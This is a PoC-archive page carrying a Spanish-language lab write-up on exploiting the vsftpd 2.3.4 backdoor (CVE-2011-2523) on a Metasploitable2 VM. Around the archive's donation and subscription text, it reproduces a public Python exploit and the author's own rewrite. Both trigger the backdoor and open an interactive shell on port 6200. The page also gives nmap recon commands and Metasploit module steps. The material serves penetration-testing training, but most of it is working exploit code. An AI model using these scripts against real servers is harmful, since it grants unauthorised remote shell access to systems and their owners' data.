Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1310 CNY

100%

CVE-2011-2523 PoC — vsftpd 操作系统命令注入漏洞

Source
Associated Vulnerability
Title:vsftpd 操作系统命令注入漏洞 (CVE-2011-2523)
Description:vsftpd 2.3.4 downloaded between 20110630 and 20110703 contains a backdoor which opens a shell on port 6200/tcp.
Readme
# CVE-2011-2523

Estos son apuntes para la creación de la metodología de ataque en un entorno controlado.
Se parte de la premisa que el ejercicio es en caja negra por ende desconozco información del sistema victima 

1- descargar ISO necesarios tanto metaexplotable2 como kali o cualquier otra 
2-  importante el entrono esta configurado con vmware así que se deben ejecutar ambas maquinas en este hipervisor 
3-el proceso inicial realizar un ip para verificar que exista conexión entre los dos puntas
4-usar nmap sV Pn 192.168.253.128 una vez que realizamos el reconocimiento encontramos multiples puertos
21 ftp vsftpd 2.3.4

Como parte del entrenamiento se pretende atacar cada puerto para logra ingreso de múltiples  formas  iniciamos con el siguiente puerto
Se tratara de realizar una situación de caja negra para poder resolver o simular condiciones reales lo más posible. 


Explotación puerto 21 FTP

Se inicia con la utilización de nmap -Pn -sV 10.0.2.5
buscamos en la base de datos publicas y encontramos CVE-2011-2523 la cual es un backdoor y lo trataremos de explotar para tener acceso a la maquina victima 

primero debemos comprender que existe un backdoor en la explotación que se realizara en este caso en particular. 
al tratar de encontrar la forma de vulnerar este sistema por medio de la vulnerabilidad existente se encuentra información en packetstorm.news  se presenta un POC que prueba que se puede explotar  pero no es del todo funcional como se aprecia en el siguiente codigo: 

# Exploit Title: vsftpd 2.3.4 - Backdoor Command Execution
# Date: 9-04-2021
# Exploit Author: HerculesRD
# Software Link: http://www.linuxfromscratch.org/~thomasp/blfs-book-xsl/server/vsftpd.html
# Version: vsftpd 2.3.4
# Tested on: debian
# CVE : CVE-2011-2523

#!/usr/bin/python3   

from telnetlib import Telnet 
import argparse
from signal import signal, SIGINT
from sys import exit

def handler(signal_received, frame):
    # Handle any cleanup here
    print('   [+]Exiting...')
    exit(0)

signal(SIGINT, handler)                           
parser=argparse.ArgumentParser()        
parser.add_argument("host", help="input the address of the vulnerable host", type=str)
args = parser.parse_args()       
host = args.host                        
portFTP = 21 #if necessary edit this line

user="USER nergal:)"
password="PASS pass"

tn=Telnet(host, portFTP)
tn.read_until(b"(vsFTPd 2.3.4)") #if necessary, edit this line
tn.write(user.encode('ascii') + b"\n")
tn.read_until(b"password.") #if necessary, edit this line
tn.write(password.encode('ascii') + b"\n")

tn2=Telnet(host, 6200)
print('Success, shell opened')
print('Send `exit` to quit shell')
tn2.interact()

lo cual al leer el código se puede comprender que lo que se pretender es probar que se puede hacer no es hacerlo un script funcional por lo cual para realizar practicas más realista realice una modificación sustancial para que este tuviera un shell inverso el cual permitiera un acceso más adecuado desde el momento de la ejecución del código. La modificación del código llevo al siguiente resultado:
#!/usr/bin/env python3

import socket
import sys
import time

def connect_ftp(host, port=21):
    try:
        s = socket.socket()
        s.connect((host, port))
        banner = s.recv(1024).decode(errors='ignore')
        print(f"[+] FTP Banner: {banner.strip()}")

        # Enviar payload del backdoor
        s.sendall(b'USER backdoor:)\r\n')
        time.sleep(0.5)
        s.sendall(b'PASS whatever\r\n')
        time.sleep(0.5)
        s.close()

        return True
    except Exception as e:
        print(f"[!] Error conectando al FTP: {e}")
        return False

def connect_backdoor_shell(host, port=6200):
    try:
        print(f"[+] Intentando conectar con la shell backdoor en {host}:{port}...")
        shell = socket.socket()
        shell.settimeout(3)
        shell.connect((host, port))
        print("[+] ¡Shell obtenida!")

        while True:
            cmd = input("shell> ")
            if cmd.strip().lower() == "exit":
                break
            shell.sendall((cmd + "\n").encode())
            # Lee todos los datos disponibles hasta timeout
            output = b""
            while True:
                try:
                    chunk = shell.recv(4096)
                    if not chunk:
                        break
                    output += chunk
                    # Espera un poco para ver si hay más datos
                    time.sleep(0.1)
                except socket.timeout:
                    break
            if output:
                print(output.decode(errors='ignore'))
            else:
                print("[!] Sin respuesta del shell.")

        shell.close()

    except Exception as e:
        print(f"[!] Falló al conectar con la shell: {e}")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Uso: {sys.argv[0]} <IP>")
        sys.exit(1)

    target_ip = sys.argv[1]
    if connect_ftp(target_ip):
        time.sleep(1)  # Da tiempo al backdoor para abrir el puerto
        connect_backdoor_shell(target_ip)
    else:
        print("[!] No se pudo conectar o el objetivo no parece vulnerable.")

por lo anterior se puede comprender que puede ser una forma rebuscada manual para afrontar este ejemplo pero se trata de crear diversas opciones para poder crecer en el ambiente de la seguridad informática y mejorar las habilidades.

La otra forma que se puede emplear es usando metasploit de la siguiente forma 
msfconsole 
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.0.2.5
run
como se comprende ambos hacen exactamente lo mismo solo que uno ya se encuentra automatizado y el otro es un proceso más manual.
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →